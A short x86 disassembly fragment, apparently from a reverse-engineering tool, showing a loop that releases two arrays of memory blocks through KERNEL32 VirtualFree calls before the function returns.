mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x5a
jge 0x300058b2
push 0x8000
push 0
imul ecx, dword [ebp - 0x50], 0x36cc
mov edx, dword [ecx + 0x30038cc0]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
imul eax, dword [ebp - 0x50], 0x36cc
mov ecx, dword [eax + 0x30038cc4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x3000586b
pop esi
mov esp, ebp
pop ebp
ret